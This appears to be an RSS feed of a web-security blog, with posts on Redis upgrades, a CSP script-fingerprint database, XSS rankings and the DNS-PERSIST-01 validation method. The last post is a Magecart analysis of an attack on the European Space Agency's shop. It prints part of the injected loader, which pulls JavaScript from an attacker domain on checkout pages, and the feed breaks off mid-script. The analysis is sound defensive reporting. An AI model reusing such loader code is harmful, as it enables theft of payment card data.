    redis-report-cache-sentinel-03
    in Report URI / 2 GB Memory / 60 GB Disk / SFO2 - Ubuntu 24.04 (LTS) x64
    tags: redis-report
    
    redis-report-cache-sentinel-04
    in Report URI / 2 GB Memory / 60 GB Disk / SFO2 - Ubuntu 24.04 (LTS) x64
    tags: redis-report</code></pre><p></p><p>Thanks to the High Availability deployment with Sentinel, this was a simple case of pulling the replica down, upgrading the server, and bringing it back online. Once the replica had fully caught up, we triggered a failover so the upgraded replica became the primary, and then we could pull down the other server which was now acting as the replica for its upgrades. Nice and easy! This upgrade didn&apos;t add a huge amount of cost, but it has added a huge amount of headroom when it comes to the capability of the servers, giving us some breathing room well into the future.</p><p></p><h4 id="future-ideas">Future ideas</h4><p>We&apos;ve considering pushing read traffic against the Redis replica before now, but there are a few scenarios where this isn&apos;t going to work particularly well for us. The main problem is that we have a volatile dataset of inbound telemetry that is undergoing significant write velocity, so reading from that needs to be done carefully. We also use Redis for various atomic write-locks in several code paths so we need the read-after-write consistency that we&apos;d lose during the sync to the replica. For now, our optimisations seem to be providing significant benefits and our infrastructure looks like it can handle a lot more before we need to consider further changes or upgrades. If you have any other suggestions on how can improve or anything worth tweaking that might help us, please feel free to drop them in the comments below!</p><p></p>]]></content:encoded>
            </item>
            <item>
                <title><![CDATA[Leverage our treasure trove of Threat Intelligence data]]></title>
                <description><![CDATA[<p>We&apos;ve been working on <a href="https://report-uri.com/products/csp_integrity?ref=scotthelme.ghost.io" rel="noreferrer">CSP Integrity</a> for a little while now, and it was only announced in open beta back in September. Since then, as more of our customers start to use it, we&apos;ve continued to improve it and observe the potentially huge benefits. </p><p></p><figure class="kg-card kg-image-card"><a href="https://report-uri.com/?ref=scotthelme.ghost.io"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2025/12/logo.png" class="kg-image" alt loading="lazy" width="1712" height="219" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2025/12/logo.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2025/12/logo.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1600/2025/12/logo.png 1600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2025/12/logo.png 1712w" sizes="(min-width: 720px) 720px"></a></figure><p></p><h4 id="csp-integrity">CSP Integrity</h4>]]></description>
                <link>https://scotthelme.ghost.io/leverage-our-treasure-trove-of-threat-intelligence-data/</link>
                <guid isPermaLink="false">692d6a29560c590001f2be83</guid>
                <category><![CDATA[Report URI]]></category>
                <category><![CDATA[Threat Intelligence]]></category>
                <category><![CDATA[CSP Integrity]]></category>
                <dc:creator><![CDATA[Scott Helme]]></dc:creator>
                <pubDate>Wed, 18 Mar 2026 16:15:32 GMT</pubDate>
                <media:content url="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2025/12/threat-intel-treasure-trove.webp" medium="image"/>
                <content:encoded><![CDATA[<img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2025/12/threat-intel-treasure-trove.webp" alt="Leverage our treasure trove of Threat Intelligence data"><p>We&apos;ve been working on <a href="https://report-uri.com/products/csp_integrity?ref=scotthelme.ghost.io" rel="noreferrer">CSP Integrity</a> for a little while now, and it was only announced in open beta back in September. Since then, as more of our customers start to use it, we&apos;ve continued to improve it and observe the potentially huge benefits. </p><p></p><figure class="kg-card kg-image-card"><a href="https://report-uri.com/?ref=scotthelme.ghost.io"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2025/12/logo.png" class="kg-image" alt="Leverage our treasure trove of Threat Intelligence data" loading="lazy" width="1712" height="219" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2025/12/logo.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2025/12/logo.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1600/2025/12/logo.png 1600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2025/12/logo.png 1712w" sizes="(min-width: 720px) 720px"></a></figure><p></p><h4 id="csp-integrity">CSP Integrity</h4><p>You can read the full post on <a href="https://scotthelme.co.uk/capture-javascript-integrity-metadata-using-csp/?ref=scotthelme.ghost.io">CSP Integrity</a> and how it works, but here&apos;s a quick TLDR. You can now leverage a native feature in modern browsers to have the browser send you the cryptographic fingerprint of any JavaScript that is running on your site. Once we receive that data, we can do some pretty amazing things with it, and it opens up a whole new world of possibilities. This is a fundamental shift in browser capabilities and the best part is that if it takes you more than 30 seconds to configure and deploy this, you probably did it wrong! </p><p></p><h4 id="our-fingerprint-database">Our Fingerprint Database</h4><p>Receiving the fingerprint of all scripts that are running is great, but it&apos;s even better to have an enormous database of known fingerprints to check against, and that&apos;s something we&apos;ve been working on. Our database only contains the fingerprints of <strong><em>known and verified</em></strong> files, and that verification was done by us. That means if we get a match for the fingerprint provided against our database, we can say with certainty that we know what that file is. </p><p>Our latest data is available to all customers in production right now, so if you&apos;re sending us CSP Integrity data, it&apos;s being cross-checked against our database already. This is the latest output from the process that generates our data after passing over the terabytes of JavaScript we already have:</p><p>&#x2B50; Produced sha256 hashes:11,276,852<br>&#x2B50; Produced sha384 hashes:11,276,852<br>&#x2B50; Produced sha512 hashes:11,276,852<br>&#x1F4E6; <strong>33,830,556 total fingerprints</strong></p><p></p><p>If you&apos;re using common libraries or files right now, we can start to identify and tag them in our UI with information on the source of that file, and having the ability to do this across literally <em>millions</em> of files really has an impact.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2025/12/image-7.png" class="kg-image" alt="Leverage our treasure trove of Threat Intelligence data" loading="lazy" width="525" height="97"></figure><p></p><p>On top of this new capability, we of course still have all of our existing Threat Intelligence capabilities too, which leverage our own feeds of data, and external feeds from industry, to identify known bad domains and files, suspicious activity, known IoC (Indicator of Compromise) and much more.</p><p></p><h4 id="vulnerability-mapping">Vulnerability mapping</h4><p>When we&apos;re observing the use of thousands of different JavaScript libraries by our customers, it&apos;s obvious that some of those libraries are going to contain security vulnerabilities. Because we can identify individual files based on their fingerprint, and then map that back to which version of which library is being used, we can then gather data on any vulnerabilities that impact our customers and let them know!</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2025/12/image-6.png" class="kg-image" alt="Leverage our treasure trove of Threat Intelligence data" loading="lazy" width="527" height="223"></figure><p></p><p>We&apos;re currently tracking <em>hundreds </em>of unique vulnerabilities across all of our verified libraries that impact literally <em>thousands</em> of files, so you can rest assured that if you&apos;re using any kind of popular library that has a know problem, we&apos;re going to detect it. </p><p></p><h4 id="threat-intelligence">Threat Intelligence</h4><p>We now regularly collect data from almost 250,000,000 unique browsers per month, that&apos;s a <strong><em>quarter of a billion browsers </em></strong>sending us data on what they&apos;re seeing on the Web. With our birds-eye view of so much activity, we can infer a lot from the data that we gather, far beyond the value that this provides to any individual customer. For example, a very simple metric that we use regularly is &quot;For the tens of thousands of sites that use our service, have any of them ever loaded this JavaScript before?&quot;. For the answer to that question to have value, the number of sites we&apos;re protecting has to be large enough to matter, but as we continue to grow, the answer to that question is meaningful. Knowing if you&apos;re the only site in the World loading some specific JavaScript, or you&apos;re one of thousands, is a great insight to have. There are a whole variety of seemingly simple metrics like this that are incredibly valuable and we are now in a position to start leaning on this data to better protect our customers. </p><p>On top of this, we also ingest various industry feeds of Threat Intelligence data to enrich our own. Just because we haven&apos;t seen a URL behave in a malicious way just yet, it doesn&apos;t mean that someone else hasn&apos;t. By feeding in Domain Reputation Data, Malware Feeds, Phishing Campaigns, IP Reputation and more, we can look at what JavaScript you&apos;re loading and make a determination on how likely it is to be trustworthy or not.</p><p></p><h4 id="more-to-come">More to come!</h4><p>As always, we&apos;re continually working to improve our product to better serve our customers. If you have any feature ideas or suggestions, please do feel free to reach out to me, and keep an eye out for some of the exciting announcements coming in H1 2026!</p><p></p>]]></content:encoded>
            </item>
            <item>
                <title><![CDATA[XSS Ranked #1 Top Threat of 2025 by MITRE and CISA]]></title>
                <description><![CDATA[<p>Look who&apos;s back! After we completed 2024, XSS managed to get itself ranked as the #1 top threat of the year. I <a href="https://scotthelme.co.uk/xss-ranked-1-top-threat-of-2024-by-mitre-and-cisa/?ref=scotthelme.ghost.io" rel="noreferrer">wrote about that</a>, and at the end of the blog post I said &quot;<em>Let&apos;s make sure that XSS isn&apos;t #1 in</em></p>]]></description>
                <link>https://scotthelme.ghost.io/xss-ranked-1-top-threat-of-2025-by-mitre-and-cisa/</link>
                <guid isPermaLink="false">69af02a1fedfb90001b38825</guid>
                <category><![CDATA[XSS]]></category>
                <category><![CDATA[Report URI]]></category>
                <category><![CDATA[CSP]]></category>
                <dc:creator><![CDATA[Scott Helme]]></dc:creator>
                <pubDate>Tue, 10 Mar 2026 14:21:27 GMT</pubDate>
                <media:content url="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/mitre-cisa.png" medium="image"/>
                <content:encoded><![CDATA[<img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/mitre-cisa.png" alt="XSS Ranked #1 Top Threat of 2025 by MITRE and CISA"><p>Look who&apos;s back! After we completed 2024, XSS managed to get itself ranked as the #1 top threat of the year. I <a href="https://scotthelme.co.uk/xss-ranked-1-top-threat-of-2024-by-mitre-and-cisa/?ref=scotthelme.ghost.io" rel="noreferrer">wrote about that</a>, and at the end of the blog post I said &quot;<em>Let&apos;s make sure that XSS isn&apos;t #1 in 2025!</em>&quot;... Well, I have some bad news...</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/image.png" class="kg-image" alt="XSS Ranked #1 Top Threat of 2025 by MITRE and CISA" loading="lazy" width="820" height="425" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/03/image.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/image.png 820w" sizes="(min-width: 720px) 720px"></figure><p></p><h4 id="looking-at-the-data">Looking at the data</h4><p>I wrote a whole bunch in that <a href="https://scotthelme.co.uk/xss-ranked-1-top-threat-of-2024-by-mitre-and-cisa/?ref=scotthelme.ghost.io" rel="noreferrer">previous blog post</a> about what the CVE program is and what CWE means, so if you want the background, you should definitely head there and read that post first. Here, I want to take a look at the data and see how things are going. Looking at the <a href="https://cwe.mitre.org/top25/archive/2025/2025_cwe_top25.html?ref=scotthelme.ghost.io#top25list" rel="noreferrer">list</a> of the Top 25 threat in 2025, and then downloading all of the <a href="https://www.cve.org/downloads?utm_source=scotthelme.co.uk" rel="noreferrer">raw data</a>, we can produce some details on the top threats. </p><p></p><table>
    <thead>
    <tr>
    <th>CWE ID</th>
    <th style="text-align:right">Vulnerabilities Caused</th>
    </tr>
    </thead>
    <tbody>
    <tr>
    <td>CWE-79</td>
    <td style="text-align:right">7,303</td>
    </tr>
    <tr>
    <td>CWE-89</td>
    <td style="text-align:right">3,758</td>
    </tr>
    <tr>
    <td>CWE-862</td>
    <td style="text-align:right">2,190</td>
    </tr>
    <tr>
    <td>CWE-352</td>
    <td style="text-align:right">1,682</td>
    </tr>
    <tr>
    <td>CWE-22</td>
    <td style="text-align:right">967</td>
    </tr>
    <tr>
    <td>CWE-121</td>
    <td style="text-align:right">827</td>
    </tr>
    <tr>
    <td>CWE-284</td>
    <td style="text-align:right">796</td>
    </tr>
    <tr>
    <td>CWE-78</td>
    <td style="text-align:right">748</td>
    </tr>
    <tr>
    <td>CWE-434</td>
    <td style="text-align:right">744</td>
    </tr>
    <tr>
    <td>CWE-120</td>
    <td style="text-align:right">732</td>
    </tr>
    <tr>
    <td>CWE-200</td>
    <td style="text-align:right">703</td>
    </tr>
    <tr>
    <td>CWE-125</td>
    <td style="text-align:right">653</td>
    </tr>
    <tr>
    <td>CWE-416</td>
    <td style="text-align:right">642</td>
    </tr>
    <tr>
    <td>CWE-502</td>
    <td style="text-align:right">619</td>
    </tr>
    <tr>
    <td>CWE-77</td>
    <td style="text-align:right">550</td>
    </tr>
    <tr>
    <td>CWE-20</td>
    <td style="text-align:right">516</td>
    </tr>
    <tr>
    <td>CWE-122</td>
    <td style="text-align:right">513</td>
    </tr>
    <tr>
    <td>CWE-787</td>
    <td style="text-align:right">500</td>
    </tr>
    <tr>
    <td>CWE-918</td>
    <td style="text-align:right">483</td>
    </tr>
    <tr>
    <td>CWE-476</td>
    <td style="text-align:right">478</td>
    </tr>
    <tr>
    <td>CWE-94</td>
    <td style="text-align:right">468</td>
    </tr>
    <tr>
    <td>CWE-863</td>
    <td style="text-align:right">409</td>
    </tr>
    <tr>
    <td>CWE-639</td>
    <td style="text-align:right">362</td>
    </tr>
    <tr>
    <td>CWE-306</td>
    <td style="text-align:right">356</td>
    </tr>
    <tr>
    <td>CWE-770</td>
    <td style="text-align:right">317</td>
    </tr>
    <tr>
    <td><strong>Total</strong></td>
    <td style="text-align:right"><strong>43,473</strong></td>
    </tr>
    </tbody>
    </table>
    <p></p><p>Sadly, as we can see, we still have quite a lot of work to do on this front as XSS (CWE-79) continues to absolutely dominate the rankings! Not only was it the top threat, nothing else even came close.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/image-1.png" class="kg-image" alt="XSS Ranked #1 Top Threat of 2025 by MITRE and CISA" loading="lazy" width="1000" height="530" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/03/image-1.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/image-1.png 1000w" sizes="(min-width: 720px) 720px"></figure><p></p><h4 id="looking-further-back">Looking further back</h4><p>Given that the entire archive of the Top 25 is <a href="https://cwe.mitre.org/top25/archive/?ref=scotthelme.ghost.io" rel="noreferrer">available</a>, I thought I&apos;d take a look at how XSS performed over all the years we have data, back as far as 2010(!), and it&apos;s not filling me with confidence.</p><p></p><table>
    <thead>
    <tr>
    <th>Year</th>
    <th style="text-align:right">XSS Rank</th>
    </tr>
    </thead>
    <tbody>
    <tr>
    <td>2026</td>
    <td style="text-align:right">#1 (so far!)</td>
    </tr>
    <tr>
    <td>2025</td>
    <td style="text-align:right">#1</td>
    </tr>
    <tr>
    <td>2024</td>
    <td style="text-align:right">#1</td>
    </tr>
    <tr>
    <td>2023</td>
    <td style="text-align:right">#2</td>
    </tr>
    <tr>
    <td>2022</td>
    <td style="text-align:right">#2</td>
    </tr>
    <tr>
    <td>2021</td>
    <td style="text-align:right">#2</td>
    </tr>
    <tr>
    <td>2020</td>
    <td style="text-align:right">#1</td>
    </tr>
    <tr>
    <td>2019</td>
    <td style="text-align:right">#2</td>
    </tr>
    <tr>
    <td>2011</td>
    <td style="text-align:right">#4</td>
    </tr>
    <tr>
    <td>2010</td>
    <td style="text-align:right">#1</td>
    </tr>
    </tbody>
    </table>
    <p></p><p>As far back as the data goes, we have seen that XSS is consistently a top ranked threat, never having the left the <strong><em>Top 4</em></strong>!</p><p></p><h4 id="detecting-and-mitigating-xss">Detecting and Mitigating XSS</h4><p>Regular readers will know by now that Content Security Policy provides for an effective mechanism to protect against XSS. Our sole purpose at <a href="https://report-uri.com/?ref=scotthelme.ghost.io" rel="noreferrer">Report URI</a> is to help organisations deploy a strong CSP to their website and to monitor for signs of trouble should they arise. We have a whole heap of resources to get you started, so head on over to start a free trial and reach out if you need any support getting going.</p><p></p><figure class="kg-card kg-image-card"><a href="https://report-uri.com/?ref=scotthelme.ghost.io"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/report-uri---wide.png" class="kg-image" alt="XSS Ranked #1 Top Threat of 2025 by MITRE and CISA" loading="lazy" width="974" height="141" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/03/report-uri---wide.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/report-uri---wide.png 974w" sizes="(min-width: 720px) 720px"></a></figure><p></p><p>I have my fingers crossed that we might be able to do something to stop XSS becoming the #1 Top Threat of 2026, but given it already has twice the number of vulnerabilities than its closest competitor, we&apos;d best get started on making some progress soon!</p><p></p>]]></content:encoded>
            </item>
            <item>
                <title><![CDATA[DNS-PERSIST-01; Handling Domain Control Validation in a short-lived certificate World]]></title>
                <description><![CDATA[<p>This year, we have a new method for Domain Control Validation arriving called DNS-PERSIST-01. It is quite a fundamental change from how we do DCV now, so let&apos;s take a look at the benefits and the drawbacks.</p><p></p><h4 id="first-a-quick-recap">First, a quick recap</h4><p>When you approach a Certificate Authority, like</p>]]></description>
                <link>https://scotthelme.ghost.io/dns-persist-01-handling-domain-control-validation-in-a-short-lived-certificate-world/</link>
                <guid isPermaLink="false">6960bdfda2de7d0001fa2984</guid>
                <category><![CDATA[DCV]]></category>
                <category><![CDATA[DNS-PERSIST-01]]></category>
                <category><![CDATA[Certificate Authorities]]></category>
                <dc:creator><![CDATA[Scott Helme]]></dc:creator>
                <pubDate>Mon, 09 Feb 2026 17:55:16 GMT</pubDate>
                <media:content url="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/dns-persist-01.webp" medium="image"/>
                <content:encoded><![CDATA[<img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/dns-persist-01.webp" alt="DNS-PERSIST-01; Handling Domain Control Validation in a short-lived certificate World"><p>This year, we have a new method for Domain Control Validation arriving called DNS-PERSIST-01. It is quite a fundamental change from how we do DCV now, so let&apos;s take a look at the benefits and the drawbacks.</p><p></p><h4 id="first-a-quick-recap">First, a quick recap</h4><p>When you approach a Certificate Authority, like Let&apos;s Encrypt, to issue you a certificate, you need to complete DCV. If I go to Let&apos;s Encrypt and say &quot;I own <code>scotthelme.co.uk</code> so please issue me a certificate for that domain&quot;, Let&apos;s Encrypt are required to say &quot;prove that you own <code>scotthelme.co.uk</code> and we will&quot;. That is the very essence of DCV, the CA needs to <em><strong>V</strong>alidate</em> that I do <em><strong>C</strong>ontrol</em> the <em><strong>D</strong>omain</em> in question. We&apos;re not going to delve in to the details, but it will help to have a brief understanding of the existing DCV mechanisms so we can see their shortcomings, and compare those to the potential benefits of the new mechanism.</p><p></p><h4 id="http-01">HTTP-01</h4><p>In order to demonstrate that I do control the domain, Let&apos;s Encrypt will give me a specific path on my website that I will host a challenge response. </p><pre><code>http://scotthelme.co.uk/.well-known/acme-challenge/3wQfZp0K4lVbqz6d1Jm2oA</code></pre><p></p><p>At that location, I will place the response which might look something like this.</p><pre><code>3wQfZp0K4lVbqz6d1Jm2oA.P7m1k2Jf8h...b64urlThumbprint...</code></pre><p></p><p>By challenging me to provide this specific response at this specific URL, I have demonstrated to Let&apos;s Encrypt that I have control over that web server, and they can now proceed and issue me a certificate. </p><p>The problem with this approach is that it requires the domain to be publicly resolvable, which it might not be, and the system requiring the certificate needs to be capable of hosting web content. Even I have a variety of internal systems that I use certificates on that are not publicly addressable in any way, so I use the next challenge method for them, but HTTP-01 is a great solution if it works for your requirements.</p><p></p><h4 id="dns-01">DNS-01</h4><p>Using the DNS-01 method, Let&apos;s Encrypt still need to verify my control of the domain, but the process changes slightly. We&apos;re now going to use a DNS TXT record to demonstrate my control, and it will be set on a specific subdomain.</p><pre><code>_acme-challenge.scotthelme.co.uk</code></pre><p></p><p>The format of the challenge response token changes slightly, but the concept remains the same and I will set a DNS record like so:</p><pre><code>Name:  _acme-challenge.scotthelme.co.uk
    Type:  TXT
    Value: &quot;X8d3p0ZJzKQH4cR1N2l6A0M9mJkYwqfZkU5c9bM2EJQ&quot;</code></pre><p></p><p>Upon completing a DNS resolution and seeing that I have successfully set that record at their request, Let&apos;s Encrypt can now issue the certificate as I have demonstrated control over the DNS zone. This is far better for my internal environments, and is the method I use, as all they need to do is hit my DNS providers API to set the record and they can they pull the certificate locally, without having any exposure on the public Internet. The DNS-01 mechanism is also required if you want to issue wildcard certificates, which can&apos;t be obtained with HTTP-01. </p><p></p><h4 id="tls-alpn-01">TLS-ALPN-01</h4><p>The final mechanism, which is much less common, requires quite a dynamic effort from the host. The CA can connect to the host on port 443, and advertise a special capability in the TLS handshake. The host at <code>scotthelme.co.uk:443</code> must be able to negotiate that capability, and then generate and provide a certificate with the critically flagged <code>acmeIdentifier</code> extension containing the challenge response token, and the correct names in the SAN.</p><p>That&apos;s no small task, so I can see why this mechanism is much less common, but it does have different considerations than HTTP-01 or DNS-01 so if it works for you, it is available. </p><p></p><h4 id="in-summary">In summary</h4><p>All 3 of those mechanisms are currently valid for DCV, and in essence they provide the following:</p><p>HTTP-01 &#x2192; prove control of web content<br>DNS-01 &#x2192; prove control of DNS zone<br>TLS-ALPN-01 &#x2192; prove control of TLS endpoint</p><p></p><h4 id="looking-to-the-future">Looking to the future</h4><p>I think the considerations for each of those mechanisms are clear, with both HTTP-01 and DNS-01 being favoured, and TLS-ALPN-01 trailing behind. Being able to serve web content on the public Internet, or having access and control to a DNS zone, are both quite big requirements that require technical consideration. Don&apos;t get me wrong, DCV should not be &apos;easy&apos;, especially when you think about the risks involved with DCV not being done properly or not being effective, but I also understand the difficulties where neither of those mechanisms are quite right for a particular environment and that they come with their own considerations, especially at large scale! </p><p>Another challenge to consider is the continued drive to reduce the lifetime of certificates. You can see my <a href="https://scotthelme.co.uk/shorter-certificates-are-coming/?ref=scotthelme.ghost.io" rel="noreferrer">blog post</a> on how all certificates will be reduced to a maximum of 47 days by 2029, and how Let&apos;s Encrypt are already offering <a href="https://scotthelme.co.uk/lets-encrypt-to-offer-6-day-certificates/?ref=scotthelme.ghost.io" rel="noreferrer">6-day certificates</a> now, which is a great things for security, but it does need considering. A CA can verify your control of a domain and remember that for a period of time, continuing to issue new certificates against that previous demonstration of DCV, but the time periods they can be re-used for is also reducing. Here&apos;s a side-by-side comparison of the certificate maximum lifetime, and the DCV re-use periods.</p><p></p><table>
    <thead>
    <tr>
    <th>Year</th>
    <th>Certificate Lifetime</th>
    <th>DCV Re-use Window</th>
    </tr>
    </thead>
    <tbody>
    <tr>
    <td>Now</td>
    <td>398 days</td>
    <td>398 days</td>
    </tr>
    <tr>
    <td>2026</td>
    <td>200 days</td>
    <td>200 days</td>
    </tr>
    <tr>
    <td>2027</td>
    <td>100 days</td>
    <td>100 days</td>
    </tr>
    <tr>
    <td>2029</td>
    <td>47 days</td>
    <td>10 days</td>
    </tr>
    </tbody>
    </table>
    <p></p><p>By 2029, DCV will be coming close to being a real-time endeavour. Now, as ACME requires automation, the shortening of certificate lifetime or the DCV re-use window is not really a concern, you simply run your automated task more frequently, but the more widespread use of certificates does pose a challenge. As we use certificates in more and more places, the overheads of the DCV mechanisms become more problematic in different environments.</p><p></p><h4 id="dns-persist-01">DNS-PERSIST-01</h4><p>This new DCV mechanism is a fundamental change in the approach to how DCV takes place, and does offer some definite advantages, whilst also introducing some concerns that are worth thinking about. </p><p>The primary objective here is to set a single, <em>static</em>, DNS record that will allow for continued issuance of new certificates on an ongoing basis for as long as it is present, hence the &apos;persist&apos; in the name.</p><pre><code>Name:  _acme-persist.scotthelme.co.uk
    Type:  TXT
    Value: &quot;letsencrypt.org; accounturi=https://letsencrypt.org/acme/acct/123456; policy=wildcard&quot;</code></pre><p></p><p>By setting this new DNS record, I would be allowing Let&apos;s Encrypt to issue new certificates using my ACME account specified in the above URL as account ID <code>123456</code>. Let&apos;s Encrypt will still need to conduct DCV by checking this DNS record, but, any of my clients requesting a certificate will not have to answer any kind of dynamic challenge. There is no need to serve a HTTP response, no need to create a new DNS record, and no need to craft a special TLS handshake. The client can simply hit the Let&apos;s Encrypt API, use the correct ACME account, and have a new certificate issued. This does allow for a huge reduction in the complexity of having new certificates issued, and I can see many environments where this will be greatly welcomed, but we&apos;ll cover a few of my concerns a little later.</p><p>Looking at the DNS record itself, we have a couple of configuration options. The <code>policy=wildcard</code> allows the CA and ACME account in question to issue wildcard certificates, it the policy directive is missing, or set to anything other than <code>wildcard</code>, then wildcard certificates will not be allowed. The other configuration value, which I didn&apos;t show above, is the <code>persistUntil</code> value.</p><pre><code>Name:  _acme-persist.scotthelme.co.uk
    Type:  TXT
    Value: &quot;letsencrypt.org; accounturi=https://letsencrypt.org/acme/acct/123456; policy=wildcard; persistUntil=1767959300&quot;</code></pre><p></p><p>This value indicates that this record is valid until Fri Jan 09 2026 11:48:20 GMT+0000, and should not be accepted as valid after that time. This does allow us to set a cap on how long this validation will be accepted for, and addresses one of my concerns. The specification states:</p><blockquote>   *  Domain owners should set expiration dates for validation records<br>      that <strong>balance security and operational needs</strong>.</blockquote><p></p><p>My personal approach would be something like having an automated process to refresh this record on a somewhat regular basis, and perhaps push the <code>persistUntil</code> value out by two weeks, updated on a weekly basis. Something about just having a permanent, static record doesn&apos;t sit well with me. There are also the concerns around securing the ACME account credentials because any access to those will then allow for issuance of certificates, without any requirement for the person who obtains them to do any &apos;live&apos; form of DCV. </p><p>In short, I can see the value that this mechanism will provide to those that need it, but I can also see it being used far more widely as a purely convenience solution to what was a relatively simple process anyway.</p><p></p><h4 id="coming-to-a-ca-near-you">Coming to a CA near you</h4><p>Let&apos;s Encrypt have <a href="https://letsencrypt.org/2025/12/02/from-90-to-45?ref=scotthelme.ghost.io#making-automation-easier-with-a-new-dns-challenge-type" rel="noreferrer">stated</a> that they will have support for this in 2026, and I imagine it won&apos;t take too much longer for other CAs to start supporting this mechanism too. I&apos;m hoping that GTS will also bring in support soon so we can have a pair of reliable CAs to lean on! For now though, just know that if the existing DCV mechanisms are problematic for you, there might be a solution just around the corner.</p><p></p>]]></content:encoded>
            </item>
            <item>
                <title><![CDATA[The European Space Agency got hacked, and now we own the domain used!]]></title>
                <description><![CDATA[<p>It&apos;s not often that two of my interests align so well, but we&apos;re talking about space rockets and cyber security! Whilst Magecart and Magecart-style attacks might not be the most common attack vector at the moment, they are still happening with worrying frequency, and they are</p>]]></description>
                <link>https://scotthelme.ghost.io/the-european-space-agency-got-hacked-and-now-we-own-the-domain-used/</link>
                <guid isPermaLink="false">697b755b03d4840001b00ed8</guid>
                <category><![CDATA[Report URI]]></category>
                <category><![CDATA[javascript]]></category>
                <category><![CDATA[magecart]]></category>
                <category><![CDATA[European Space Agency]]></category>
                <dc:creator><![CDATA[Scott Helme]]></dc:creator>
                <pubDate>Mon, 02 Feb 2026 13:01:53 GMT</pubDate>
                <media:content url="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/esa-blog.webp" medium="image"/>
                <content:encoded><![CDATA[<img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/esa-blog.webp" alt="The European Space Agency got hacked, and now we own the domain used!"><p>It&apos;s not often that two of my interests align so well, but we&apos;re talking about space rockets and cyber security! Whilst Magecart and Magecart-style attacks might not be the most common attack vector at the moment, they are still happening with worrying frequency, and they are still catching out some pretty big organisations...</p><p></p><h4 id="mage-who">Mage-who? </h4><p>I&apos;ve talked about Magecart a <a href="https://scotthelme.co.uk/tag/magecart/?ref=scotthelme.ghost.io" rel="noreferrer">lot</a>, and they&apos;ve posed a significant threat now for almost a decade. The term really gained popularity during 2015-2016 when apparently independent groups of hackers were targeting online e-commerce stores with the goal of stealing huge quantities of payment card data. The primary target was Magento shopping carts (Magento-cart, Magecart) and the goal was for the attackers to find a way to inject JavaScript into the site by any means possible. They could then skim credit card data as it was entered into the site and exfiltrate it to a server controlled by the attackers for later use. Because the victim is typing in the full card number, expiry date, security code, and more, these attacks would yield incredibly valuable data to the attackers and often leave absolutely no visible trace on the website that was breached. Given the perfect alignment with what we do at <a href="https://report-uri.com/?ref=scotthelme.ghost.io" rel="noreferrer">Report URI</a>, we have a <a href="https://report-uri.com/solutions/magecart_protection?ref=scotthelme.ghost.io" rel="noreferrer">dedicated Solutions page for Magecart</a> with details on how we can help combat this problem if you&apos;d like more information, and our <a href="https://report-uri.com/case_studies?ref=scotthelme.ghost.io" rel="noreferrer">Case Studies</a> page details some pretty big organisations that have been stung by Magecart like British Airways and Ticketmaster.</p><p></p><h4 id="the-european-space-agency">The European Space Agency</h4><p>Just like all of the organisations that have been targeted before them, the attack against the ESA followed the same reliable pattern. We don&apos;t always get to understand the particular vulnerability that was exploited to inject the malicious JavaScript into the page, and often we just get to observe the result, which is that the malicious JavaScript is present in the page. The JavaScript is also reliably simple, and often just a bootstrap for a larger attack payload that is only triggered in specific circumstances.</p><p></p><pre><code class="language-html">&lt;script&gt;
      if (document.location.href.includes(&quot;checkout&quot;)){
        var jqScript = document.createElement(&apos;script&apos;);
        jqScript.setAttribute(&apos;src&apos;,&apos;https://esaspaceshop.pics/assets/esaspaceshop/jquery.min.js&apos;);
